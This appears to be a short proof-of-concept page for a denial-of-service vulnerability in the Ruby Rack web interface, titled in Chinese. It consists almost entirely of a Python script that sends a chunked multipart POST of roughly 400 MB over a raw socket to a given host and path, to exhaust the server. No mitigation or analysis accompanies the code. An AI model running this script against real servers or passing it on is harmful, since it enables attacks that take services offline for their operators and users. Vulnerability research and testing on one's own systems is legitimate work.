CVE-2026-34829 Rack拒绝服务漏洞

import socket import time def send_chunked_attack(host, port, path): # Create a raw socket to send HTTP request without Content-Length s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Construct the HTTP headers using chunked transfer encoding payload = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" ) s.send(payload.encode()) # Send data in chunks to simulate arbitrary large file upload chunk_size = 4096 chunk_data = b"A" * chunk_size # This loop simulates sending a massive file for i in range(100000): chunk_header = f"{hex(chunk_size)[2:]}\r\n".encode() s.send(chunk_header + chunk_data + b"\r\n") # print(f"Sent chunk {i}") # Send the terminating chunk s.send(b"0\r\n\r\n") response = s.recv(1024) print(response) s.close() # Usage example (Replace with actual target details for testing) # send_chunked_attack("127.0.0.1", 8080, "/upload")